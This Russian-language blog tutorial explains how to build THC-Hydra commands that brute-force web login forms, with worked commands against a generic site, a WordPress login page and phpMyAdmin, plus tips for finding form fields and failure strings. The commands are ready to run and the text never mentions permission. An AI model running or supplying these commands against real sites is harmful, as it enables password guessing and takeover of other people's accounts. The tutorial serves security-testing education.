Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по Hydra) | WebWare.biz

# Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по Hydra)

17.08.201517.08.2015 WebWare Team Безопасность

Первая часть здесь: «THC-Hydra: очень быстрый взломщик сетевого входа в систему». Рекомендуется начать знакомство именно с неё, т. к. она содержит подробное описание синтаксиса и инструкцию по работе с Hydra.

В этой части рассмотрены трудные моменты по перебору паролей на веб-сайтах. Трудными они являются из-за того, что все веб-сайты разные и содержат разные поля в формах. А названия этих полей нужно обязательно указать в Hydra. Более того, даже если указать всё правильно, это не означает, что Hydra будет работать корректно — в Интернете (в том числе англоязычном) очень много вопросов по этому поводу. В этой части будут рассмотрены эти проблемы и даны рекомендации как правильно настроить Hydra для перебора паролей на сайтах.

## Помощь по модулям http-post-form и http-get-form

По умолчанию эти модули сконфигурированы на следование максимум по пяти редиректам подряд. Они всегда собирают новые куки для одинаковых URL без значений.

Параметр принимает три величины разделённых двоеточием ":", плюс опциональную величину.

(Примечание: если вам нужно двоеточие в строке опции в качестве значения, экранируйте его так "\:", но не экранируйте "\" на "\\".)

Синтаксис:

    <url>:<параметры формы>:<строки условия>[:<опционально>[:<опционально>]

Первое — это URL страницы на сервере, принимающей GET или POST.

Второе — это величины POST/GET (принятые хоть от браузера, прокси и т. д.) имена пользователя и пароли будут символизируют заполнители "^USER^" и "^PASS^" (параметры формы).

Третье — это строка, которая проверяет на *неверный* логин (по умолчанию).

Строке, соответствующей условию введения неверных учётных данных может предшествовать строка "F=", строке, соответствующей условию введения верных учётных данных должна предшествовать "S=".

Здесь многие ошибаются. Вы должны проверить веб-приложение, на что похожа строка, выдаваемая при неверных учётных данных и скопировать её в этот параметр!

Следующие параметры опциональные:

- C=/page/uri определяет другую страницу для сбора базовых куки
- (h|H)=My-Hdr\: foo для отправки заданных пользователем HTTP заголовка при каждом запросе
- ^USER^ и ^PASS^ также могут быть внесены в этот заголовок!

Справка: 'h' добавит заданный пользователем заголовок в конец не обращая внимания, был ли он уже отправлен Hydra или нет.

'H' заменит значение существующего заголовка той строкой, которая задана пользователем или добавит заголовок в конец

Обратите внимание, что если вам нужно двоеточие (:) в ваших заголовках, то его нужно экранировать обратным слэшем (\).

Все двоеточия, которые не являются разделителями опций, должны быть экранированы (смотрите примеры выше и ниже).

Вы можете задать заголовок без экранирования двоеточий, но таким образом вы не сможете разместить двоеточия в самих значениях заголовка, поскольку они будут интерпретироваться в hydra как разделители.

Примеры:

    "/login.php:user=^USER^&pass=^PASS^:incorrect"

    "/login.php:user=^USER^&pass=^PASS^&colon=colon\:escape:S=authlog=.*success"

    "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"

    "/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^"

    "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"

Полная команда для брутфорса сайтов с Hydra выглядит примерно так:

    hydra -L logins.txt -P passwords.txt http-post-form://example.org/ -m "/signin.php:login_username=^USER^&login_password=^PASS^:Please login"

Рассмотрим все элементы:

-L logins.txt -P passwords.txt — это имена пользователей и пароли, как их можно задать рассказывается в первой части — если вы не понимаете этот фрагмент, то начните чтение с первой части.

http-post-form — это протокол, точнее говоря, это указание на то, что брутфорсится форма ввода (form) сайта (http), которая отправляет параметры методом POST (post).

Вместо http-post-form может быть указан http-get-form — в случае, если форма отправляет параметры методом GET.

example.org – адрес сайта для подбора паролей

-m — ключ, который говорит о том, что сейчас будет передана специальная опция для модуля (в данном случае для модуля http-post-form)

"/signin.php:login_username=^USER^&login_password=^PASS^:Please login" — эта и есть передаваемая опция, уберём кавычки и разделим её на три части, разделителем служит двоеточие

/signin.php — адрес страницы, куда передаются данные формы, должен начинаться со слеша

login_username=^USER^&login_password=^PASS^ — это строка, которая передаётся форме. О ней подробнее рассказывалось чуть выше. ^USER^ — это заполнитель, который будет заменяться на имя пользователя. ^PASS^ — это заполнитель для пароля.

Слова login_username и login_password — это названия полей формы, они у каждой формы свои, их нужно задавать самому.

Please login — это строка, которую hydra будет искать в присланном от сайта ответе после введения учётных данных. Если эта строка присутствует, значит попытка аутентификация провалилась, учётные данные неверны и нужно пробовать следующие логины и пароли. Если эта строка отсутствует, значит произошёл вход. Эта строка индивидуальна для каждого сайта и вам самостоятельно нужно её выявлять и задавать.

Как видно, достаточно запутанно, плюс к этому, есть ещё и подводные камни. Давайте будем разбираться на конкретных примерах.

## Как ввести данные в Hydra для перебора пароля на сайте

Рассмотрим на примере конкретного сайта. Форму можно исследовать двумя способами — статическим и динамическим. Давайте рассмотрим оба способа последовательно.

Дан сайт с адресом http://example.org/. На этом сайте есть форма для ввода пароля:

    <form method="post" enctype="application/x-www-form-urlencoded" action="?signin" style="margin: 10px;">
                <table>
                    <tr>
                        <td><label>Имя</label></td>
                        <td><input type="text" style="font-size: 11px" name="login_username" size="10" value="Имя" onfocus="if (this.value == 'Имя')
                            this.value = '';" /></td>
                    </tr>

                    <tr>
                        <td><label>Пароль</label></td>
                        <td><input type="password" style="font-size: 11px" name="login_password" size="10" /></td>
                    </tr>

                    <tr>
                        <td><label><input type="checkbox" name="cookieuser" value="1" checked="checked" />Запомнить?</label></td>
                        <td><input type="submit" value="Вход" title="Введите Ваше имя пользователя и пароль, чтобы войти, или нажмите кнопку 'Регистрация', чтобы зарегистрироваться." /></td>
                    </tr>
                </table>
    </form>

Задача — составить команду для hydra под эту форму.

В форме видим строку

method="post"

Значит будем использовать метод http-post-form, итак, начнёт писать нашу команду

    hydra -l 111111 -p 222222 http-post-form://example.org

111111 и 222222 – это предполагаемое имя и пароль пользователя (можно указать файлы для перебора)

http-post-form — это указание на используемый модуль (на используемый протокол)

example.org — это адрес сайта (обязательно без конечного слэша).

Теперь нам нужно составить строку, состоящую из трёх величин, разделённых двоеточием

"адрес_страницы_куда_отправляются_данные_из_формы:передаваемая_в_форму_строка:строка_которую_ищем_в_ответе"

Глядя на форму мы видим, что она свои данные передаёт на страницу ?signin — поставим перед ним слеш и первый элемент строки готов:

    /?signin

Форма содержит следующие поля: login_username, login_password, cookieuser

login_username передаёт имя пользователя, т. е. ^USER^, поэтому login_username=^USER^, login_password передаёт пароль пользователя, т. е. поэтому ^PASS^ login_password=^PASS^, есть есть cookieuser, присвоем ей статичную величину cookieuser=1, теперь полученные отрезки объединяем символом &:

    login_username=^USER^&login_password=^PASS^&cookieuser=1

Теперь третий элемент — то, что мы будем искать в ответе. Например, в форме есть строка «Введите Ваше имя пользователя и пароль». Практически наверняка после входа на сайт эта строка не отображается — поскольку она больше не нужна. Поэтому мы выбираем её для поиска: если она найдена, перебор будет продолжаться, если в ответе нет этой строки, значит мы успешно вошли, т. е. угадали логин и пароль.

Ещё можно попробовать ввести любые учётные и посмотреть на ошибку, которую выдаёт веб-сайт. Эту ошибку (часть этой строки) и нужно использовать.

Т.е. мы составили три подстроки, исходя из анализа формы:

    /?signin
    login_username=^USER^&login_password=^PASS^&cookieuser=1
    Введите Ваше имя пользователя и пароль

Объединим эти строки, разделив их двоеточием:

    /?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:Введите Ваше имя пользователя и пароль

Эту строку нужно взять в двойные кавычки и перед ней поставить ключ -m. Т.е. наша строка для брутфорса теперь выглядит так

    hydra -l 111111 -p 222222 http-post-form://example.org -m "/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:Введите Ваше имя пользователя и пароль"

Для большинства сайтов этот алгоритм будет работать.

Но для конкретного этого сайта, даже при подстановке верных учётных данных hydra не может распознать, что пароль подобран. Это первый подводный камень:

## Hydra и проблема для сайтов с редиректом

Для анализа проблемы я буду использовать ключ -d

    hydra -l 111111 -p 222222 http-post-form://example.org -m "/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:Введите Ваше имя пользователя и пароль" -d

Вот кусочек из сообщения отладки:

Это то, что отправляет сервер в ответ на попытку авторизации. Оказывается, никакие сообщения об ошибке не показываются, вообще ничего не показывается — происходит только редирект…

Повторюсь, такие ситуации не часты — скорее, это исключения. «Нормальные» сайты показывают нам нормальные сообщения об ошибках. В крайнем случае, даже при редиректе можно попытаться найти какое-то отличие в ответах для заголовков при верной и при ошибочной авторизации.

Например, т. к. для рассматриваемого сайта я знаю верные учётные данные, то я могу ввести их и, оставаясь в режиме отладки, посмотреть на разницу вывода:

Ну можно кричать «Эврика!», ведь заголовок ответа другой, а именно — при вводе верных учётных данных устанавливается куки, т. е. нам нужно искать строку Set-Cookie. Причём, если эта строка есть — значит всё прошло успешно. Перед этой строкой мы поставим S=, это даст указание hydra, что если строка найдена, то это успех, а не провал:

    hydra -l 111111 -p 222222 http-post-form://example.org -m "/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:S=Set-Cookie"

Т.е. теперь всё работает, при вводе ложных данных, hydra понимает, что данные ложные. А при вводе верных данных — понимает, что имя и пароль угаданы.

Все сайты разные, и для каждого движка нужно тестировать, прежде чем начинать атаку.

## Взлом пароля для WordPress c hydra

### Динамический анализ форм

Давайте теперь проведём динамический анализ формы. Я буду делать браузере Chrome (в Firefox также есть функционал для веб-разработчиков).

Переходим на сайт, который мы будем брутфорсить. Находим страницу авторизации http://notwebware.biz/wp-login.php. Теперь открываем в браузере Настройки и управление Google Chrome → Дополнительные инструменты → Инструменты разработчика

В них находим вкладку Network.

Вводим в форму любые учётные данные и нажимаем Войти.

Смотрим на нашу панель разработчика:

Нас интересует строка, которая содержит адрес страницы wp-login.php и метод отправки POST. Кликаем на неё. Там где Form Data выбираем view source:

Интересующая нас строка:

    log=111111&pwd=222222&rememberme=forever&wp-submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&redirect_to=http%3A%2F%2Fwebware.biz%2Fwp-admin%2F&testcookie=1

Я в качестве имени пользователя и пароля вводил 111111 и 222222, именно их мы и заменяем на ^USER^ и ^PASS^:

Так, передаваемая из формы строка готова:

    log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&redirect_to=http%3A%2F%2Fwebware.biz%2Fwp-admin%2F&testcookie=1

Тем где General, найдите строку с Request URL:

В моём случае это

    Request URL:http://webware.biz/wp-login.php

Т.е. данные передаются на страницу wp-login.php

Там же можно увидеть и метод:

    Request Method:POST

Посмотрев на страницу видим, при неверных учётных данных в ответе присутствует слово «ОШИБКА». Тем не менее, не нужно сильно наедятся, что программа правильно будет работать с русскими буквами. Надежнее посмотреть HTML код и найти там что-нибудь характерное на латинице, например — login_error.

Теперь можно составить окончательный запрос для брутфорса WordPress с hydra:

    hydra -l 111111 -p 222222 http-post-form://notwebware.biz -m "/wp-login.php:log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&redirect_to=http%3A%2F%2Fwebware.biz%2Fwp-admin%2F&testcookie=1:login_error"

Этот алгоритм является рабочим. Но на практике бывают исключения. Например, при попытке брутфорсить свой собственный сайт у меня появляется ошибка сервера 503. Хотя на других сайтах вполне работает.

## Взлом пароля для phpMyAdmin c hydra

Есть хорошая и плохая новости. Хорошая новость заключается в том, что я уже подготовил примерную строку для перебора паролей в phpMyAdmin:

    hydra -l root -e n http-post-form://192.168.1.33 -m "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:S=information_schema"

Но есть и плохая новость. Эта строка никак не хотела работать на моём сервере в отношении самой последней версии phpMyAdmin. Я повозился с режимом отладки и выяснил, что причина в защите от ClickJacking, это сделано путём отключения фрейминга (возможности вставки страниц во фреймы). В коде phpMyAdmin так и написано:

            /* Prevent against ClickJacking by disabling framing */
            if (! $GLOBALS['cfg']['AllowThirdPartyFraming']) {
                header(
                    'X-Frame-Options: DENY'
                );
            }

Т.е. в phpMyAdmin есть защита от брутфорсинга гидрой. Конечно, эта опция должна быть включена (так и есть по умолчанию) и сервер должен быть настроен соответствующим образом.

Т.е. налицо простая и эффективная защита от брутфорсинга (хотя, говорят, это можно обойти)…

## Помощь по модулям http-get и http-post

Оба этих модуля требуют страницу для аутентификации

Пример: "/secret" или "http://bla.com/foo/bar" или "https://test.com:8080/members"

Поделиться "Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по Hydra)"

- Facebook
- Twitter
- Google+
- VKontakte
- E-mail

Связанные статьи:

- THC-Hydra: очень быстрый взломщик сетевого входа в систему (часть первая) (100%)
- Списки слов для атаки по словарю: пароли, имена пользователей, каталоги (83%)
- BruteX: программа для автоматического брутфорса всех служб (69.6%)
- Crunch — генератор паролей: основы использования и практические примеры (65.6%)
- Инструкция по Armitage: автоматический поиск и проверка эксплойтов в Kali Linux (65.1%)
- Включение проводного соединения на Kali Linux (RANDOM - 50.5%)

### Добавить комментарий Отменить ответ

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Имя *

E-mail *

Сайт

Комментарий

Можно использовать следующие HTML-теги и атрибуты: `<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>`

Получать новые комментарии по электронной почте. Вы можете подписаться без комментирования.

### Бесплатная книга по Kali

Читайте и скачивайте бесплатную книгу по Kali Linux 2.0 на русском языке

### Примечательные статьи:

- Рекомендованные USB беспроводные карты для Kali Linux
- Что почитать о компьютерной безопасности в 2015 году
- Как получить короткий и красивый e-mail
- Хостинг со сканером вирусов
- Свобода самовыражения с новыми доменными зонами
- Брошенные сайты с ТИЦ и PR, свободные премиум домены

### Популярные записи

Установка Apache, PHP, MySQL, phpMyAdmin 19 Авг , 2014
Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину 19 Окт , 2014
Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и cowpatty в Kali Linux 12 Фев , 2015
Kali Linux 2.0 с ядром 4.0 – Установка проприетарного драйвера NVIDIA – ускоренный видеодрайвер NVIDIA для Linux 12 Фев , 2015
MiAl’s Server Pack (полностью настроенный и рабочий сервер Apache + MySQL + PHP + phpMyAdmin — WAMP) (v. 0.3.1) 20 Авг , 2014
Модификация форка Reaver — t6x — для использования атаки Pixie Dust 04 Май , 2015

### Свежие записи

- PW-Inspector: отбираем пароли соответствующие критериям
- Решение ошибки dpkg: warning: ‘ldconfig’ not found in PATH or not executable, возникающей при установке пакетов в Kali Linux
- Решение проблемы с ошибкой E: Could not get lock /var/lib/dpkg/lock — open (11: Resource temporarily unavailable) в Kali Linux
- Брутфорсинг веб-сайтов с Hydra (часть вторая инструкции по Hydra)
- THC-Hydra: очень быстрый взломщик сетевого входа в систему (часть первая)

### Свежие комментарии

- DocenT к записи Взлом Wifi WPA/WPA2 паролей с использованием Reaver
- ss к записи Взлом Wifi WPA/WPA2 паролей с использованием Reaver
- Спасибо тебе большое! к записи Книга «Тестирование на проникновение с Kali Linux» 2.0 на русском языке
- Денис к записи Установка Nvidia + Bumblebee + CUDA на Kali Linux 1.1.0 для машин с включённым Optimus
- Денис к записи Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину

### Рубрики

- CSS
- JavaScript
- PHP
- SEO
- WordPress
- Без рубрики
- Безопасность
- Настройка сети
- Ни web'ом единым
- Новости
- Плагины
- Программирование (кодинг)
- Программы для сервера
- Работа и заработок в Интернете
- Ресурсы
- Создание сайтов
- Фотографии

### Вступайте в официальную группу

### Счётчики